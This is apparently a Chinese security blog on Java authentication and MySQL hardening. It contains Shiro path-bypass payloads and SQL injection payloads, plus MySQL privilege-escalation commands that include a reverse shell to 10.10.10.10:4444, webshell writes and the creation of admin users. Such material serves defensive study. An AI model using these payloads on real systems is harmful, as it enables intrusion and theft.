CVE-2020-17523 < 1.7.1 /admin/%20/ 空格编码
CVE-2021-41303 < 1.8.0 /admin/a%2e%2e%2f 双重编码
CVE-2022-32532 < 1.9.1 /admin/;/ 正则绕过
CVE-2023-22602 < 1.11.0 /admin/%0d 换行符

通用 Payload:

GET /admin/;/users HTTP/1.1
GET /admin;.js HTTP/1.1
GET /admin%2fusers HTTP/1.1
GET /public/../admin/users HTTP/1.1

防御:升级到 Shiro 1.11.0+,启用路径规范化。


3.3 Shiro 安全配置推荐

# shiro.ini
[main]
securityManager.rememberMeManager = null  # 或使用随机强密钥
securityManager.sessionManager.sessionIdCookie.secure = true
securityManager.sessionManager.sessionIdCookie.httpOnly = true
securityManager.sessionManager.sessionIdCookie.sameSite = Strict
securityManager.sessionManager.globalSessionTimeout = 1800000

[urls]
/login = anon
/logout = logout
/api/public/** = anon
/api/admin/** = authc, roles[admin]
/api/user/** = authc
/** = authc

3.4 Shiro + Spring Boot 完整集成(补充)

@Configuration
public class ShiroConfig {

    @Bean
    public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
        ShiroFilterFactoryBean factory = new ShiroFilterFactoryBean();
        factory.setSecurityManager(securityManager);
        factory.setLoginUrl("/login");
        factory.setUnauthorizedUrl("/403");

        // 过滤器链 — 顺序敏感,精细在前
        Map<String, String> filterChain = new LinkedHashMap<>();
        filterChain.put("/login", "anon");
        filterChain.put("/api/public/**", "anon");
        filterChain.put("/api/admin/**", "authc,roles[admin]");
        filterChain.put("/api/user/**", "authc");
        filterChain.put("/**", "authc");
        factory.setFilterChainDefinitionMap(filterChain);
        return factory;
    }

    @Bean
    public DefaultWebSecurityManager securityManager(MyRealm realm) {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(realm);
        // 关键:禁用或加固 rememberMe
        manager.setRememberMeManager(null);
        return manager;
    }

    @Bean
    public MyRealm myRealm() {
        MyRealm realm = new MyRealm();
        realm.setCredentialsMatcher(hashedCredentialsMatcher());
        return realm;
    }

    @Bean
    public HashedCredentialsMatcher hashedCredentialsMatcher() {
        HashedCredentialsMatcher matcher = new HashedCredentialsMatcher();
        matcher.setHashAlgorithmName("SHA-256");
        matcher.setHashIterations(1024);
        matcher.setStoredCredentialsHexEncoded(true);
        return matcher;
    }
}

3.5 自定义 Realm 实现(补充)

public class MyRealm extends AuthorizingRealm {

    @Autowired
    private UserService userService;
    @Autowired
    private PermissionService permissionService;

    // 认证:验证用户名密码
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(
            AuthenticationToken token) throws AuthenticationException {
        
        String username = (String) token.getPrincipal();
        User user = userService.findByUsername(username);
        if (user == null) {
            throw new UnknownAccountException("用户不存在");
        }
        if (!user.isEnabled()) {
            throw new LockedAccountException("账号已禁用");
        }
        
        // 返回认证信息,Shiro 自动校验密码
        return new SimpleAuthenticationInfo(
            user,                    // principal
            user.getPassword(),      // hashed password
            ByteSource.Util.bytes(user.getSalt()),
            getName()                // realm name
        );
    }

    // 授权:加载用户权限和角色
    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(
            PrincipalCollection principals) {
        
        User user = (User) principals.getPrimaryPrincipal();
        SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
        
        // 角色
        Set<String> roles = userService.getRoles(user.getId());
        info.setRoles(roles);
        
        // 权限字符串
        Set<String> permissions = permissionService.getPermissions(user.getId());
        info.setStringPermissions(permissions);
        
        return info;
    }
}

使用注解:

@RestController
@RequestMapping("/api/admin")
public class AdminController {

    @RequiresRoles("admin")
    @GetMapping("/users")
    public List<User> getUsers() { }

    @RequiresPermissions("circle:admin:delete")
    @DeleteMapping("/circle/{id}")
    public void deleteCircle(@PathVariable Long id) { }
}

3.6 Shiro vs Spring Security 选型对比(补充)

维度 Apache Shiro Spring Security
学习曲线 低,配置直观 高,概念多
Spring 集成 需额外配置 原生集成
粒度 URL 级别为主 URL + 方法 + 资源实例
Session 管理 内置,成熟 依赖 Spring Session
OAuth2/OIDC 需第三方扩展 开箱即用
社区生态 较小 极其庞大
更新频率 较慢 非常活跃
历史漏洞 rememberMe RCE(9.8)、路径绕过 BCrypt 截断(7.5)、Actuator 绕过(7.3)
适用场景 非 Spring 项目、遗留系统、简单权限模型 Spring 项目、微服务、OAuth2

选型建议:

场景 推荐
新项目、Spring Boot 技术栈 Spring Security
非 Spring 项目(纯 Servlet) Apache Shiro
需要 OAuth2 / SAML / OIDC Spring Security
简单权限模型 + 快速集成 Apache Shiro
遗留 Shiro 项目 升级到最新版本 + 加固配置

总结

Shiro 的安全防护核心就两点:

  1. 版本:1.2.4 的 rememberMe RCE 是 CVSS 9.8 级别,必须升级
  2. 路径:Shiro 的路径匹配与 Spring 不一致是绕过的根源,升级 + 路径规范化是正解

如果系统使用 Shiro,立即检查版本号 — 低于 1.11.0 的路径绕过能被自动化扫描工具在 5 分钟内发现。


系列文章:

  • 概览篇
  • Spring Security 安全配置篇
  • JWT 认证安全篇
  • 鉴权绕过模式篇
  • 会话管理与 Redis 认证篇
阅读全文 »

Java Web 认证授权安全概览 — 框架识别、组件版本与审计清单

发表于 2026-05-07 | 分类于 Java安全 , Web安全 |

Java Web 认证授权安全概览

认证(你是谁)和授权(你能做什么)是 Web 应用安全的基石。Java 生态拥有成熟的框架体系,但配置不当反而会成为灾难的源头。

本文是系列文章的总览篇,提供框架识别、版本速查、加固清单和审计脚本,各主题深入剖析见后续文章。


系列文章导航

# 文章 内容
1 本文 — 安全概览 框架识别、CVE 版本速查、加固检查清单、审计脚本
2 Spring Security 安全配置与防护实践 web.ignoring() 陷阱、方法级鉴权、Actuator 安全、OAuth2
3 Apache Shiro 安全配置与防护实践 rememberMe RCE、路径绕过系列、Spring Boot 集成
4 JWT 认证安全实践与常见漏洞 算法混淆、签名验证、JWE 加密、Token 轮换
5 Java Web 鉴权绕过模式深度剖析 getRequestURI() 绕过、preHandle 缺陷、WAF 对抗
6 Java Web 会话管理与 Redis 认证实践 Session 校验模式、Redis 限流、分布式会话、WebSocket

一、认证框架识别

在审计或加固 Java Web 应用时,首先需要确定使用了哪个安全框架:

框架 识别特征 配置文件
Spring Security @EnableWebSecurity、SecurityFilterChain、@PreAuthorize SecurityConfig.java
Apache Shiro shiro.ini、@RequiresAuthentication、SecurityUtils shiro.ini、spring-shiro.xml
JWT 独立实现 io.jsonwebtoken、Jwts.parser()、Bearer Token application.yml
自定义 Filter implements Filter、doFilter() web.xml 或 @WebFilter
自定义 Interceptor implements HandlerInterceptor、preHandle() WebMvcConfigurer

1.1 框架选型指南

场景 推荐框架 原因
企业级 Web 应用 Spring Security 生态成熟,与 Spring Boot 无缝集成
轻量级/非 Spring 项目 Apache Shiro 配置简单,无 Spring 依赖
RESTful API JWT + Spring Security 无状态,适合分布式和移动端
遗留系统(Servlet 2.x) 自定义 Filter 不引入额外依赖
微服务网关层 OAuth2 + Spring Security 统一认证,Token 中继

审计优先级的经验法则:自定义 Filter/Interceptor 实现的认证系统出问题的概率最高,因为缺少框架的成熟保护机制。


二、高危组件版本速查

版本是安全审计的第一关。以下组件版本存在已知漏洞,必须升级:

组件 漏洞版本 关键 CVE CVSS 风险
Shiro < 1.2.5 CVE-2016-4437 9.8 rememberMe RCE
Shiro 1.2.5 ~ 1.4.1 SHIRO-721 9.8 Padding Oracle RCE
Shiro < 1.11.0 CVE-2023-22602 7.5 路径绕过
Spring Security < 5.7.12 CVE-2024-22257 8.2 授权绕过
Spring Security 6.4.0 ~ 6.4.3 CVE-2025-22223 7.5 @PreAuthorize 绕过
Spring Security < 6.3.8 / 6.4.4 CVE-2025-22228 7.5 BCrypt 认证绕过
Spring Security < 6.3.8 / 6.4.4 CVE-2025-22235 7.3 Actuator 绕过
Spring Security 7 < 7.0.5 CVE-2026-22753 7.5 访问控制绕过
JJWT < 0.12.6 CVE-2024-31033 5.3 密钥弱化
Tomcat < 9.0.90 CVE-2025-24813 9.8 路径等价 RCE
Fastjson < 1.2.83 CVE-2022-25845 8.1 反序列化 RCE

检测命令:

# 查找依赖版本
grep -A1 "shiro" pom.xml | grep version
grep -A1 "spring-security" pom.xml | grep version
grep -A1 "jjwt" pom.xml | grep version
grep -A1 "fastjson" pom.xml | grep version

# 扫描 JAR 文件
find . -name "shiro-core-*.jar" -o -name "spring-security-core-*.jar"
find . -name "fastjson-*.jar" -o -name "jjwt-*.jar"

2.1 漏洞优先级判断

代码审计中发现组件版本不安全的判断逻辑:

发现低版本组件
    │
    ├── CVSS ≥ 9.0 且可远程利用 → 立即报告,P0
    │   例:Shiro 1.2.4 (CVE-2016-4437, 9.8)
    │
    ├── CVSS ≥ 7.0 且需特定配置 → 确认配置条件后报告,P1
    │   例:Spring Security BCrypt (CVE-2025-22228, 7.5)
    │
    └── CVSS < 7.0 或仅本地利用 → 记录但不阻塞上线,P2
        例:JJWT 密钥弱化 (CVE-2024-31033, 5.3)

三、安全加固检查清单

检查项 风险 操作 详见
web.ignoring() 使用 🔴 替换为 permitAll() [Spring Security篇]
@EnableMethodSecurity 🔴 SS 6.x 需 @EnableMethodSecurity;SS 5.x 需 @EnableGlobalMethodSecurity(prePostEnabled=true) [Spring Security篇]
rememberMe 密钥 🔴 确认非硬编码,使用强随机密钥 [Shiro篇]
Shiro 版本 🔴 ≥ 1.13.0 或 2.0.0+ [Shiro篇]
jwsAlgorithm 白名单 🔴 只接受单一算法(RS256/ES256) [JWT篇]
parseClaimsJws vs parseClaimsJwt 🔴 确保始终使用带签名的版本 [JWT篇]
BCrypt 版本 🟡 spring-security-crypto ≥ 6.3.8 [Spring Security篇]
Actuator 暴露 🟡 独立端口 + 认证 + 最小暴露 [Spring Security篇]
Session Fixation 🟡 migrateSession() 或 newSession() [会话管理篇]
Cookie Secure/HttpOnly 🟡 确认已设置 [会话管理篇]
CORS 白名单 🟡 不出现 * + allowCredentials=true [Spring Security篇]
密码最小长度限制 🟡 限制 ≤ 72 字符(BCrypt 限制) [Spring Security篇]
Token 过期时间 🟡 Access Token ≤ 15 分钟 [JWT篇]
路径匹配 🟡 使用 getServletPath() 而非 getRequestURI() [绕过模式篇]
preHandle 授权检查 🟡 不能只认证不授权就 return true [绕过模式篇]
HTTPS 强制 🟡 requiresSecure() [Spring Security篇]
Redis 认证密码 🟡 生产环境必须设置 [会话管理篇]
安全响应头 🟢 CSP、XSS-Protection、X-Frame-Options [Spring Security篇]
错误信息 🟢 不向前端暴露框架/版本信息 全部

四、快速审计脚本

将此脚本放入项目根目录执行,可快速发现高危配置:

#!/bin/bash
# Java Web 认证授权快速审计脚本
# 用法:bash audit.sh /path/to/project

TARGET_DIR="${1:-.}"

echo "╔══════════════════════════════════╗"
echo "║  Java Web 认证授权审计            ║"
echo "╚══════════════════════════════════╝"
echo "目标: $TARGET_DIR"
echo ""

# ========== 1. 依赖版本检查 ==========
echo "┌── 依赖版本检查 ──────────────────┐"

echo "[*] Shiro 版本:"
grep -r "shiro" "$TARGET_DIR"/pom.xml 2>/dev/null | grep -E "version|<shiro" || echo "  未检测到 Shiro 依赖"
fgrep -r "shiro-core-" "$TARGET_DIR" --include="*.jar" 2>/dev/null | head -5

echo ""
echo "[*] Spring Security 版本:"
grep -r "spring-security" "$TARGET_DIR"/pom.xml 2>/dev/null | grep -E "version|<spring-security" || echo "  未检测到 Spring Security 依赖"

echo ""
echo "[*] JWT 库版本:"
grep -r "jjwt\|io.jsonwebtoken" "$TARGET_DIR"/pom.xml 2>/dev/null | grep version || echo "  未检测到 JWT 依赖"

echo ""
echo "[*] Fastjson 版本(高危组件):"
grep -r "fastjson" "$TARGET_DIR"/pom.xml 2>/dev/null | grep version || echo "  未检测到 Fastjson 依赖"

# ========== 2. 高危配置模式 ==========
echo ""
echo "┌── 高危配置模式 ──────────────────┐"

echo "[*] web.ignoring() 使用(路径完全移除安全):"
grep -rn "web\.ignoring()\|WebSecurityCustomizer" "$TARGET_DIR" --include="*.java" 2>/dev/null || echo "  未发现"

echo ""
echo "[*] rememberMe 硬编码密钥(CVE-2016-4437):"
grep -rn "DEFAULT_CIPHER_KEY\|kPH\+bIxk" "$TARGET_DIR" --include="*.java" --include="*.ini" 2>/dev/null || echo "  未发现硬编码密钥"

echo ""
echo "[*] parseClaimsJwt(无签名验证):"
grep -rn "parseClaimsJwt" "$TARGET_DIR" --include="*.java" 2>/dev/null && echo "  ⚠️  警告:parseClaimsJwt 不验证签名,请改用 parseClaimsJws" || echo "  未发现"

echo ""
echo "[*] @EnableMethodSecurity / @EnableGlobalMethodSecurity 缺失检查:"
# 有 @EnableWebSecurity 但没有启用方法安全注解的配置类
grep -rl "@EnableWebSecurity" "$TARGET_DIR" --include="*.java" 2>/dev/null | while read f; do
    grep -q "@EnableMethodSecurity\|@EnableGlobalMethodSecurity" "$f" || echo "  ⚠️  文件 $f 有 @EnableWebSecurity 但缺少 @EnableMethodSecurity / @EnableGlobalMethodSecurity"
done

echo ""
echo "[*] preHandle 只认证不授权(return true 无角色检查):"
grep -rn "preHandle" "$TARGET_DIR" --include="*.java" -A5 2>/dev/null | grep "return true" | head -10
grep -rn "getRequestURI.*endsWith\|getRequestURI.*contains\|getRequestURI.*startsWith" "$TARGET_DIR" --include="*.java" 2>/dev/null && echo "  ⚠️  警告:getRequestURI() + 后缀匹配可被分号绕过" || echo "  未发现"

# ========== 3. 密钥与凭证泄露 ==========
echo ""
echo "┌── 密钥与凭证泄露 ────────────────┐"

echo "[*] 代码中的密钥硬编码:"
grep -rn "secretKey\|privateKey\|SECRET\|password\s*=" "$TARGET_DIR" --include="*.java" --include="*.properties" --include="*.yml" 2>/dev/null | grep -v "test\|mock\|example\|#\|//" | head -5

echo ""
echo "[*] Redis 密码配置:"
grep -rn "redis.*password\|spring.redis.password" "$TARGET_DIR" --include="*.properties" --include="*.yml" 2>/dev/null || echo "  未配置 Redis 密码(仅本地开发可接受)"

# ========== 4. JWT 配置检查 ==========
echo ""
echo "┌── JWT 配置检查 ─────────────────┐"

echo "[*] JWT 算法白名单:"
grep -rn "jwsAlgorithms\|JWSAlgorithm\|SignatureAlgorithm" "$TARGET_DIR" --include="*.java" 2>/dev/null || echo "  未发现算法配置"

echo ""
echo "[*] JWT 过期时间配置:"
grep -rn "setExpiration\|expiration.*time\|jwt.*expir" "$TARGET_DIR" --include="*.java" --include="*.properties" --include="*.yml" 2>/dev/null | head -5

echo ""
echo "╔══════════════════════════════════╗"
echo "║  审计完成                         ║"
echo "╚══════════════════════════════════╝"
echo ""
echo "详细分析请参考系列文章:"
echo "  Spring Security → Spring Security 安全配置篇"
echo "  Shiro         → Apache Shiro 安全配置篇"
echo "  JWT           → JWT 认证安全实践篇"
echo "  preHandle Bypass → 鉴权绕过模式篇"

五、总结

Java Web 认证授权的安全问题主要集中在三个层面:

1. 框架误配置(占比最高)

  • web.ignoring() 完全移除安全机制 vs permitAll() 仅跳过认证
  • @EnableMethodSecurity 忘记启用导致注解静默失效
  • 过滤器链顺序错误导致精细规则被宽泛规则覆盖

2. 组件漏洞(影响最大)

  • Shiro rememberMe 硬编码密钥 (CVE-2016-4437) — CVSS 9.8,一击必杀
  • Shiro 路径绕过系列 — 从 1.2.x 到 1.11.0,持续数年
  • Spring Security BCrypt 截断、参数化类型注解丢失等

3. 业务逻辑缺陷(最难发现)

  • preHandle 只认证不授权:登录即 return true,无角色/权限校验
  • getRequestURI() + 后缀匹配白名单:;.js / ../ 轻松绕过
  • URI 解析差异导致鉴权绕过(getRequestURI() vs getServletPath())
  • JWT 算法混淆、签名验证缺失
  • 水平/垂直越权(IDOR)

防御原则:

  • 纵深防御:不依赖单层保护,Filter → Interceptor → AOP 层层把关
  • 认证+授权必须同时存在:preHandle 不能只检查登录状态就 return true
  • 最小权限:每个接口只授予完成功能所需的最小权限
  • 持续更新:框架和依赖保持最新,关注安全公告
  • 审计驱动:使用本文提供的脚本定期扫描危险模式
  • 安全默认:Cookie 必须 Secure + HttpOnly + SameSite,Token 必须短过期 + 签名验证

没有银弹,只有持续的关注和不断的加固。


参考资源

  • Spring Security 官方文档
  • Apache Shiro 安全公告
  • OWASP Authentication Cheat Sheet
  • OWASP Authorization Cheat Sheet
  • JWT Security Best Practices (RFC 8725)
  • CVE-2016-4437 Shiro rememberMe 反序列化
  • Spring Security CVE 公告
  • JJWT GitHub

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。对他人系统进行未授权的渗透测试属于违法行为。

阅读全文 »

MySQL安全配置与防护实践

发表于 2026-02-16 | 分类于 MySQL安全 , 数据库安全 |

MySQL安全配置与防护实践

数据库是现代信息系统的核心,也是黑客攻击的首要目标。MySQL作为使用最广泛的开源数据库之一,其安全性直接关系到企业的核心资产。本文将从攻击者视角全面梳理MySQL的各个攻击面,并给出对应的防御方案。


一、SQL注入

1.1 什么是SQL注入

SQL注入是指攻击者通过在用户输入中插入恶意SQL片段,改变原有SQL语句的逻辑,从而实现非授权的数据库操作。

1.2 注入类型

联合查询注入(Union Based)

最常见的注入方式,通过 UNION SELECT 将攻击者构造的查询结果拼接到正常查询结果中。

-- 判断列数
-- ?id=1' ORDER BY 3--+

-- 联合查询,获取数据库信息
-- ?id=-1' UNION SELECT 1,database(),user()--+

-- 获取所有表名
-- ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+

-- 获取列名
-- ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+

-- 获取数据
-- ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+

报错注入(Error Based)

利用MySQL的报错函数,将查询结果通过错误信息带出。

-- extractvalue报错注入
SELECT extractvalue(1, concat(0x7e, (SELECT database()), 0x7e));

-- updatexml报错注入
SELECT updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1);

-- floor报错注入
SELECT count(*), concat((SELECT database()), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x;

布尔盲注(Boolean Based Blind)

页面无回显,仅通过返回页面的不同状态(正常/异常)来逐位推断数据。

-- 判断数据库名长度
-- ?id=1' AND length(database())=8--+

-- 逐字符判断数据库名
-- ?id=1' AND ascii(substr(database(),1,1))=115--+

-- 判断表名
-- ?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100--+

时间盲注(Time Based Blind)

通过 SLEEP() 或 BENCHMARK() 引起的响应时间差异来判断条件是否成立。

-- 如果数据库名第一个字符ASCII值为115,则延迟5秒
-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, SLEEP(5), 0)--+

-- benchmark方式
-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)--+

堆叠注入(Stacked Queries)

部分场景下(如 mysqli_multi_query),可以通过分号执行多条SQL语句。

-- 直接执行任意SQL
-- ?id=1';INSERT INTO users(username,password) VALUES('hacker','123456');--+

-- 甚至可以修改管理员密码
-- ?id=1';UPDATE users SET password='hacked' WHERE username='admin';--+

1.3 SQL注入防御

// 正确:使用预编译语句(PreparedStatement)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
# Python中使用参数化查询
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

防御要点:

  • 所有用户输入必须使用参数化查询/预编译语句
  • 对输入进行白名单校验
  • 使用WAF作为辅助防御层
  • 数据库账号遵循最小权限原则,禁止应用账号拥有 FILE、SUPER 等高危权限

二、UDF提权

2.1 什么是UDF

UDF(User Defined Function)是MySQL提供的用户自定义函数机制,允许通过加载动态链接库(.so / .dll)来扩展MySQL的功能。攻击者可以利用该机制加载恶意动态库,从而在数据库服务器上执行系统命令。

2.2 利用条件

  • 已获取MySQL的高权限账号(如root)
  • secure_file_priv 为空或指向可写目录
  • 拥有对插件目录(plugin_dir)的写权限
  • MySQL服务以较高系统权限运行(如root/SYSTEM)

2.3 利用过程

第一步:查看关键变量

-- 查看插件目录位置
SHOW VARIABLES LIKE 'plugin_dir';
-- 通常为 /usr/lib/mysql/plugin/ 或 C:\MySQL\lib\plugin\

-- 查看secure_file_priv配置
SHOW VARIABLES LIKE 'secure_file_priv';

-- 查看系统架构
SHOW VARIABLES LIKE '%compile%';

-- 查看操作系统
SHOW VARIABLES LIKE 'version_compile_os';

第二步:写入恶意动态库

将UDF动态库文件以十六进制形式写入插件目录。sqlmap和Metasploit中都自带了UDF库文件。

-- 方式一:通过SELECT INTO DUMPFILE写入(需要secure_file_priv允许)
SELECT unhex('7F454C46...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';

-- 方式二:通过创建表中转
CREATE TABLE temp_udf(data LONGBLOB);
INSERT INTO temp_udf VALUES(unhex('7F454C46...'));
SELECT data FROM temp_udf INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';
DROP TABLE temp_udf;

第三步:创建自定义函数并执行命令

-- 创建函数(Linux)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.so';

-- 创建函数(Windows)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.dll';

-- 执行系统命令
SELECT sys_exec('whoami');
SELECT sys_exec('id');

-- 反弹Shell
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"');

-- 添加系统用户(Windows)
SELECT sys_exec('net user hacker P@ssw0rd /add');
SELECT sys_exec('net localgroup administrators hacker /add');

第四步:清除痕迹

-- 删除自定义函数
DROP FUNCTION sys_exec;

-- 查看已加载的UDF
SELECT * FROM mysql.func;

2.4 UDF提权防御

  • secure_file_priv 设置为指定目录或 NULL(完全禁止文件操作)
  • 插件目录权限设为仅MySQL进程可读,禁止写入
  • MySQL服务以低权限用户运行,不要用root/SYSTEM
  • 定期审计 mysql.func 表,检查是否有异常的自定义函数

三、MOF提权(⚠️ 历史遗留技术)

适用性说明:MOF提权是 Windows 2000/XP/2003 时代的技术。从 Windows Server 2008 / Vista 开始,Microsoft 已移除 WMI MOF 自动编译执行机制,此攻击手法在较新 Windows 系统上不再有效。保留此节仅供历史参考。

MOF(Managed Object Format)是Windows WMI使用的一种文件格式。旧版Windows会自动编译执行 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件,攻击者可借此实现代码执行。

利用条件(仅限 Windows 2000/XP/2003):

  • 已获取MySQL高权限账号
  • MySQL以SYSTEM权限运行
  • secure_file_priv 允许写入目标路径

3.3 利用过程

第一步:构造MOF文件

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker P@ssw0rd123 /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

第二步:通过MySQL写入MOF文件

SELECT load_file('C:/evil.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';

或者直接从十六进制写入:

SELECT unhex('23707261676D61...') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';

第三步:等待系统自动执行

Windows WMI服务会自动监控mof目录,发现新文件后自动编译执行,攻击者添加的用户就会被创建。

3.4 MOF提权防御

  • 升级操作系统,Windows Server 2008 R2及以上版本已移除该自动执行机制
  • MySQL服务不要以SYSTEM权限运行
  • 限制 secure_file_priv,禁止向系统目录写入文件
  • 监控 C:\Windows\System32\wbem\mof\ 目录的文件变动

四、任意文件读写

4.1 任意文件读取(LOAD_FILE)

MySQL的 LOAD_FILE() 函数可以读取服务器上的本地文件。

利用条件:

  • 拥有 FILE 权限
  • secure_file_priv 允许或为空
  • 知道文件的绝对路径
  • 文件大小小于 max_allowed_packet
-- 读取系统敏感文件
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/shadow');
SELECT LOAD_FILE('/etc/my.cnf');

-- Windows
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts');
SELECT LOAD_FILE('C:/phpstudy/www/config.php');

-- 读取网站配置文件获取数据库密码
SELECT LOAD_FILE('/var/www/html/config/database.php');

4.2 任意文件写入(INTO OUTFILE / INTO DUMPFILE)

通过SQL语句将内容写入服务器文件系统,常用于写入WebShell。

利用条件:

  • 拥有 FILE 权限
  • secure_file_priv 允许或为空
  • 知道Web目录的绝对路径
  • 目标目录有写权限
-- 写入一句话木马(PHP)
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- 写入JSP木马
SELECT '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' INTO OUTFILE '/usr/local/tomcat/webapps/ROOT/cmd.jsp';

-- INTO DUMPFILE 不会在末尾追加换行,适合写入二进制文件
SELECT unhex('4D5A...') INTO DUMPFILE '/tmp/evil.exe';

OUTFILE与DUMPFILE的区别:

  • INTO OUTFILE:会在行末添加换行符,列之间添加制表符,适合文本文件
  • INTO DUMPFILE:原样写入,不添加任何额外字符,适合二进制文件

4.3 通过日志写入WebShell

当 secure_file_priv 限制了 INTO OUTFILE 时,可以通过修改MySQL日志路径来写入WebShell。

-- 通过general_log写入WebShell
SET global general_log = 'ON';
SET global general_log_file = '/var/www/html/shell.php';
SELECT '<?php @eval($_POST["cmd"]); ?>';
SET global general_log = 'OFF';

-- 通过slow_query_log写入WebShell
SET global slow_query_log = 'ON';
SET global slow_query_log_file = '/var/www/html/slow.php';
SELECT '<?php @eval($_POST["cmd"]); ?>' OR SLEEP(11);
SET global slow_query_log = 'OFF';

4.4 文件读写防御

# my.cnf 中严格限制文件操作
[mysqld]
secure_file_priv = /tmp/mysql-files/   # 限制到指定目录
# 或者
secure_file_priv = NULL                 # 完全禁止文件操作(推荐)
  • 应用程序数据库账号不要授予 FILE 权限
  • Web目录禁止MySQL用户写入
  • 定期检查 general_log_file 和 slow_query_log_file 是否被篡改

五、MySQL并发条件竞争导致空口令登录漏洞(CVE-2012-2122)

5.1 漏洞原理

这是MySQL/MariaDB的一个经典认证绕过漏洞。在特定版本和特定编译条件下,MySQL在验证密码时使用 memcmp() 函数比较密码哈希值。由于某些平台(如使用SSE优化的Linux glibc)上 memcmp() 的返回值可能超出 [-128, 127] 的范围,当该值被强制转换为 my_bool(实际是 char 类型)时,可能发生截断,导致非零返回值被截断为零,从而绕过认证。

简单来说:每次用错误密码登录,都有大约 1/256 的概率认证成功。

5.2 受影响版本

  • MySQL 5.1.x(5.1.63之前)
  • MySQL 5.5.x(5.5.25之前)
  • MySQL 5.6.x(5.6.7之前)
  • MariaDB 5.1.x(5.1.62之前)
  • MariaDB 5.2.x(5.2.12之前)
  • MariaDB 5.3.x(5.3.6之前)
  • MariaDB 5.5.x(5.5.23之前)

5.3 利用方式

# 一行命令暴力尝试,利用概率绕过(约尝试300次即可成功)
for i in $(seq 1 1000); do mysql -u root --password=wrong -h target_ip 2>/dev/null && break; done

# 使用Python脚本利用
python3 -c "
import subprocess
for i in range(1000):
    ret = subprocess.call(['mysql', '-u', 'root', '--password=wrong', '-h', 'target_ip', '-e', 'SELECT 1'], 
                          stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    if ret == 0:
        print(f'Success after {i+1} attempts')
        break
"

Metasploit利用:

use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS target_ip
run

5.4 修复方案

  • 升级MySQL到5.1.63、5.5.25、5.6.7及以上版本
  • 升级MariaDB到对应修复版本
  • 限制MySQL服务仅监听本地或内网地址
  • 使用防火墙限制MySQL端口的访问来源

六、配置文件注入与权限提升(CVE-2016-6662/6663/6664)

6.1 CVE-2016-6662:配置文件注入导致RCE

这是2016年发现的一个严重漏洞,允许攻击者通过注入恶意配置到MySQL配置文件(my.cnf)来实现远程代码执行。

漏洞原理: 攻击者通过SQL注入或已有的MySQL账号,利用日志功能将恶意配置写入my.cnf,然后在MySQL重启时加载恶意库文件。

利用条件:

  • 拥有MySQL账号(或通过SQL注入)
  • 拥有FILE权限或能够修改日志设置
  • 能够触发MySQL重启

攻击步骤:

-- 第一步:通过日志功能写入恶意配置
SET GLOBAL general_log_file = '/etc/mysql/my.cnf';
SET GLOBAL general_log = ON;
SELECT '
[mysqld]
malloc_lib=/tmp/mysql_exploit.so
';
SET GLOBAL general_log = OFF;

-- 第二步:将恶意动态库上传到服务器
-- 通过其他漏洞(如文件上传)将恶意.so文件放到/tmp/

-- 第三步:等待或触发MySQL重启
-- MySQL重启时会加载恶意库,执行任意代码

受影响版本:

  • MySQL 5.7.x < 5.7.15
  • MySQL 5.6.x < 5.6.33
  • MySQL 5.5.x < 5.5.52
  • MariaDB 10.1.x < 10.1.18
  • MariaDB 10.0.x < 10.0.28
  • MariaDB 5.5.x < 5.5.52
  • Percona Server 5.7.x < 5.7.14-8
  • Percona Server 5.6.x < 5.6.32-78.1
  • Percona Server 5.5.x < 5.5.51-38.2

6.2 CVE-2016-6663:条件竞争导致权限提升

这是一个本地权限提升漏洞,允许低权限的MySQL用户通过条件竞争提升到mysql系统用户权限。

漏洞原理: MySQL在创建表文件时存在条件竞争,攻击者可以在文件创建和权限设置之间的时间窗口内替换文件为符号链接。

利用方式:

#!/bin/bash
# 利用脚本示例

# 在MySQL中创建表,同时监控文件创建
while true; do
    if [ -f "/var/lib/mysql/testdb/exploit.MYD" ]; then
